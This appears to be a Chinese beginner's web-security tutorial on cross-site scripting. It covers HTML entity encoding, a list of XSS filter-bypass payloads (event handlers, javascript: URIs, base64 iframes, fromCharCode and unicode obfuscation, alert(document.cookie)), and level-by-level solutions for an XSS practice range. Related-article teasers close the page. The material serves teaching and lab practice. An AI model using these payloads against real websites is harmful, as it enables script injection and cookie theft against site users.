网安入门18-XSS(靶场实战)

HTML实体化编码

为了避免 XSS 攻击,会将<>编码为&lt;&gt;,这些就是 HTML 实体编码。

编码前编码后
不可分的空格&nbsp;
< (小于符号)&lt;
> (大于符号)&gt;
& (与符号)&amp;
″ (双引号)&quot;
’ (单引号)&apos;
© (版权符号)&copy;
he.encode('<img src=""></img>') // "&#x3C;img src=&#x22;&#x22;&#x3E;&#x3C;/img&#x3E;"
 
// 转义
he.escape('<img src=""></img>') // "&lt;img src=&quot;&quot;&gt;&lt;/img&gt;"

常见的绕过payload

<img src="x" onerror=alert(1)>
<img src=1 οnmοuseοver=alert('xss')>
<a href="javascript:alert(1)">baidu</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
<script>alert('xss')</script>
<script>prompt('xss')</script>
<input value="" οnclick=alert('xss') type="text">
<input name="name" value="" οnmοuseοver=prompt('xss') bad="">
<iframe src="javascript:alert('xss')"><iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>
<svg onload=alert(1)>
<input name="name" value="" οnmοuseοver=prompt('xss') bad=“”>
<input type=“hidden” accesskey=“X” onclick=“alert(1)>
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,
111,107,105,101,41)) 适用于绕过黑名单 alert 在跨站中,String.fromCharCode 主要是使到
一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为 ASCII 码,
然后再用 String.fromCharCode 还原,因为大多数的过滤系统都不会把 String.fromCharCode
加以过滤,例如关键字 alert 被过滤掉,那就可以这么利用 alert(document.cookie)
<img src="1" onerror=alert(1)>
<img src="1" onerror=alert&#40;1&#41;>(实体化()
<img src=1 onerror=alert&#40&#41>
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<img src="1" οnerrοr=location="javascript:alert(1)”>
<img src="1" οnerrοr=location="javascript:alert%281%29”>

靶场实战(一)

欢迎来到XSS挑战

Level 1

通过观察页面,猜测因该是一个传参name=test可以下手

查看页面源代码

从这里我们可以看到它将name的参数值,插入到了<h2> </h2>标签之间,第一关没有过滤
payload:name=<script>alert('xss')</script>

Level 2

一个搜索框,故技重施失败了,判断他有过滤

查看源代码,上面一行是查询的回显,可以看到被实体化编码了,下面一行被双引号包裹

上面的实体化编码无法绕过了,现在的目标转化为下面一行,那就是闭合!
payload: "><script>alert(1)</script>//
或者 "><script>alert(1)</script><

实测也可以不用注释后面的">,说明HTML属于弱类型,校验不严格,另外查看这关源代码,调用的函数是 htmlspecialchars() 它的作用就是让 < 和 > 被HTML实体化编码
PHP htmlspecialchars() 函数

Level 3

还是搜索框,故技重施x2,无果,看源代码

这波看似没办法搞了,两边都被实体化了

仔细一想,两个尖括号以及被ban掉,

特殊事件 onmouseover onclick onfocuse 的介绍链接:
HTML onmouseover 事件属性 | 菜鸟教程
HTML onclick 事件属性 | 菜鸟教程
HTML onfocus 事件属性 | 菜鸟教程

函数效果
οnmοuseοver=alert(1)鼠标指针移至图片之上时弹窗
οnclick=alert(1)输入域获得焦点时弹窗
οnfοcus=alert(1)单击鼠标时弹窗

还有一个问题就是闭合这两个引号,闭合前面的,注释或者闭合后面的,这里跟上一关的标签闭合不一样,是比较严格的,不闭合属性中的值会无法执行
payload:' onmouseover=alert(1) //
或者: ' onmouseover=alert(1) x='

靶场实战(二)

alert(1)

0x00

啥也没有直接来吧

0x01

前面的<textarea>标签有个特性,无法创建其他标签,那就闭合掉

0x02

input标签,直接onmouseover+闭合连招,
还有种方法是闭合+新开标签 "> <script>alert(1)</script>
当然也可以用"><img src="x" onerror="alert(1)">也是很好用的

0x03

过滤了左右括号 () 那就用反引号`绕过

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/414550.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

栈和队列——c语言实现栈

本节复习栈和队列中栈的增删查改。 首先回顾一下栈的性质&#xff1a; 栈的存储数据的原则是“后入先出”&#xff0c; 先入的在栈底&#xff0c; 后入的在栈顶。 弹出数据时在栈顶弹出。 开始实现栈的接口 栈的所有函数接口 //栈的初始化 void StackInit(Stack* pst); //入栈…

Monkey测试必现ANR问题分析与解决

AAA项目Monkey测试必现ANR问题分析 【摘要】ANR(Application Not responding)&#xff0c;是指应用程序未响应&#xff0c;Android系统对于一些事件需要在一定的时间范围内完成&#xff0c;如果超过预定时间能未能得到有效响应或者响应时间过长&#xff0c;比如输入事件5s内未…

大模型日报|今日必读的7篇大模型论文

大家好&#xff0c;今日必读的大模型论文来啦&#xff01; 1.Sora综述&#xff1a;大型视觉模型的背景、技术、局限和机遇 Sora 是 OpenAI 于 2024 年 2 月发布的文生视频人工智能&#xff08;AI&#xff09;模型。经过训练&#xff0c;Sora 能根据文字说明生成逼真或富有想象…

2.27数据结构

1.链队 //link_que.c #include "link_que.h"//创建链队 Q_p create_que() {Q_p q (Q_p)malloc(sizeof(Q));if(qNULL){printf("空间申请失败\n");return NULL;}node_p L(node_p)malloc(sizeof(node));if(LNULL){printf("申请空间失败\n");return…

一周学会Django5 Python Web开发-Django5列表视图ListView

锋哥原创的Python Web开发 Django5视频教程&#xff1a; 2024版 Django5 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili2024版 Django5 Python web开发 视频教程(无废话版) 玩命更新中~共计27条视频&#xff0c;包括&#xff1a;2024版 Django5 Python we…

Java毕业设计-基于springboot开发的冬奥会科普平台系统-毕业论文+PPT(有源代码)

文章目录 前言一、毕设成果演示&#xff08;源代码在文末&#xff09;二、毕设摘要展示1.开发说明2.需求分析3、系统功能结构 三、系统实现展示1、登录注册2、系统功能模块3、管理员功能模块 四、毕设内容和源代码获取总结 Java毕业设计-基于springboot开发的冬奥会科普平台系统…

CrossOver2024软件虚拟机下载及使用方法教程步骤

CrossOver的使用方法相对简单&#xff0c;以下是详细的步骤&#xff1a; 下载与安装&#xff1a;首先&#xff0c;您需要从CrossOver的官方网站下载适合您操作系统&#xff08;Mac OS或Linux&#xff09;的软件版本。下载完成后&#xff0c;解压文件并按照提示进行安装。安装过…

强大的Docker入门知识

目录 一、Docker简介 1.1、Docker是 1.2、Docker通常会在以下情况下使用&#xff1a; 1.3、Docker和VMware区别 1.4、Docker 的优点 二、环境配置 2.1、代码操作 2.2、效果演示 2.3、配置镜像仓库 开始配置 三、基本命令 3.1、Docker基本命令 3.2、Docker镜像常用…

高并发数据采集:Ebay商家信息多进程爬虫的进阶实践

背景 Ebay作为全球最大的电子商务平台之一&#xff0c;其商家信息包含丰富的市场洞察。然而&#xff0c;要高效获取这些信息&#xff0c;就需要利用先进的技术手段。本文将深入探讨如何通过并发加速技术&#xff0c;实现Ebay商家信息多进程爬虫的最佳实践方法&#xff0c;并附…

分布式存储 ZBS 的 RoCE 技术支持与大数据应用场景性能评测

作者&#xff1a;深耕行业的 SmartX 金融团队 闫海涛 在《解决 SAN 交换机“卡脖子”并升级存储架构&#xff1f;一文解析 RoCE 与相关存储方案趋势》文章中&#xff0c;我们分析了如何利用支持 RoCE 技术的分布式存储&#xff0c;同步实现 IT 基础架构的信创转型与架构升级&a…

Linux中 LVM 逻辑盘卷管理

CSDN 成就一亿技术人&#xff01; 作者主页&#xff1a;点击&#xff01; Linux专栏&#xff1a;点击&#xff01; CSDN 成就一亿技术人&#xff01; 前言———— LVM 代表逻辑卷管理器&#xff0c;它是一种用于 Linux 和类 Unix 操作系统的磁盘管理和存储技术。LVM 允许用…

Linux终端中的VI/VIM编辑器详细说明

vi/vim —— 终端中的编辑器 目标 vi/vim 简介打开和新建文件三种工作模式常用命令分屏命令常用命令速查图 01. vi 简介 vi 或 vim 是一个强大的文本编辑器&#xff0c;它最初是由 vi 的作者布莱姆米勒开发的&#xff0c;后来由吉多范罗苏姆及其团队进行了扩展和维护&#…

opencascade c#例程解析

1.编译 将msvc.bat文件拖入vs2022的x64 native tools&#xff0c;即可 2.about.xaml <Windowxmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"http://schemas.microsoft.com/winfx/2006/xaml"x:Class"IE_WPF_WinForms…

Linux之定时任务02

一、什么是crond Linux 中 crond 就是定时任务&#xff0c;即根据 crond 指定的时间&#xff0c;由系统按指定的时间&#xff0c;周期性&#xff0c;自动触发的事件。 crond 服务在默认的情况下会每分钟检查系统中是否有定时任务&#xff0c;如果有且符合触发条件&#xff0c;…

docker 容器修改端口和目录映射

一、容器修改端口映射 一般在运行容器时&#xff0c;我们都会通过参数 -p&#xff08;使用大写的-P参数则会随机选择宿主机的一个端口进行映射&#xff09;来指定宿主机和容器端口的映射&#xff0c;例如 docker run -it -d --name [container-name] -p 8088:80 [image-name]…

Vue3之属性传值的四种情况

文章目录 Vue3之属性传值的四种情况一、引言二、父组件向子组件传值三、子组件向父组件传值四、祖先组件向后代组件传值五、兄弟组件之间传值 Vue3之属性传值的四种情况 一、引言 在vue3中&#xff0c;组件与组件之间是可以传递属性的&#xff0c;包括三种类型&#xff1a; …

Java Stream流指南:优雅处理集合数据

文章目录 一、为什么要使用stream流呢&#xff1f;二、如何获取Stream流&#xff1f;三、Stream流的中间方法四、Stream流的终结方法总结 一、为什么要使用stream流呢&#xff1f; 想必我们在日常编程中&#xff0c;会经常进行数据的处理&#xff0c;我们先来看看没有stram流时…

从零开始学习Netty - 学习笔记 -Netty入门-ChannelFuture

5.2.2.Channel Channel 的基本概念 在 Netty 中&#xff0c;Channel 是表示网络传输的开放连接的抽象。它提供了对不同种类网络传输的统一视图&#xff0c;比如 TCP 和 UDP。 Channel 的生命周期 Channel 的生命周期包括创建、激活、连接、读取、写入和关闭等阶段。Netty 中…

CGI程序与ShellShock漏洞

CGI是什么&#xff1f; CGI&#xff08;通用网关接口&#xff0c;Common Gateway Interface&#xff09;程序是一种用于在Web服务器上执行动态内容的技术。与服务器上普通的后端代码相比&#xff0c;CGI程序有几个区别&#xff1a; 执行环境&#xff1a; CGI程序在服务器上作为…

js中Symbol的理解与应用

文章目录 一、Symbol特性1.1 不支持语法new Symbol()1.2 唯一性1.3 不与其他值隐式转换1.4 不可枚举1.5 类型为symbol 二、Symbol常见方法2.1 Symbol.toStringTag2.2 Symbol.iterator2.3 Symbol.for() 三、Symbol应用 在JavaScript中&#xff0c;Symbol 是一种基本数据类型&…